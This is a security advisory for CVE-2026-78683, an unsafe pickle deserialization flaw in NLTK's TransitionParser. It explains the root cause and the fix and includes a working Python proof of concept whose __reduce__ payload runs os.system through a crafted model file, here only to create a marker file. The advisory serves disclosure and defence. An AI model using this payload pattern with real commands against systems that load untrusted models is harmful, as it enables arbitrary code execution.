CVE-2026-78683: nltk Unsafe Pickle Deserialization in TransitionParser
NLTK's TransitionParser loads model files with Python's pickle without any class restrictions, letting an attacker execute arbitrary code by supplying a crafted model file.
The problem
TransitionParser.parse() opens a caller-supplied model path and passes it to pickle_load() with the default restricted=False. That routes deserialization through WarningUnpickler, which inherits from pickle.Unpickler without overriding find_class(), so every class and callable in the Python environment is reachable during unpickling.
NLTK already ships RestrictedUnpickler specifically for this threat, but no production call site ever passes restricted=True. The safe path exists and is simply never taken, making the exposure easy to trigger and hard to miss in a code audit.
Proof of concept
A working proof-of-concept for CVE-2026-78683 in nltk, with the exact payload below.
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Step 1: craft the malicious model file
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Step 2: trigger the vulnerable load path
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl')
# Result on <= 3.9.4: /tmp/nltk_poc_triggered is created (os.system executed)
# Result on >= 3.10.0: _pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlistPython's pickle protocol lets any serialized object embed a __reduce__ method that names an arbitrary callable plus arguments. When pickle.Unpickler.load() processes the stream it calls find_class(module, name) to resolve that callable. WarningUnpickler never overrides find_class(), so it delegates straight to the base implementation, which imports and returns any globally accessible object (os.system, subprocess.Popen, etc.).
The patch in commit f26b375 (PR #3631) changes all four unsafe call sites to pass restricted=True, routing deserialization through RestrictedUnpickler, which raises UnpicklingError for any class outside an explicit allowlist. The CWE-502 root cause is the absence of a find_class() guard on a deserialization path that accepts attacker-supplied file paths.
The fix
Upgrade to nltk >= 3.10.0. The fix (commit f26b375, PR #3631) changes every pickle_load() call site in transitionparser.py and chartparser_app.py to use restricted=True, enforcing RestrictedUnpickler for all model loading. If you cannot upgrade immediately, never pass untrusted or user-supplied paths to TransitionParser.parse().
Reported by Litesh Ghute (@LiteshGhute).
Related research
- criticalCVE-2026-79657CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution
- high · 7.5CVE-2026-62384CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass
- highCVE-2026-79676CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)
- highCVE-2026-78682CVE-2026-78682: NLTK pathsec SSRF Protection Bypass via HTTP Proxy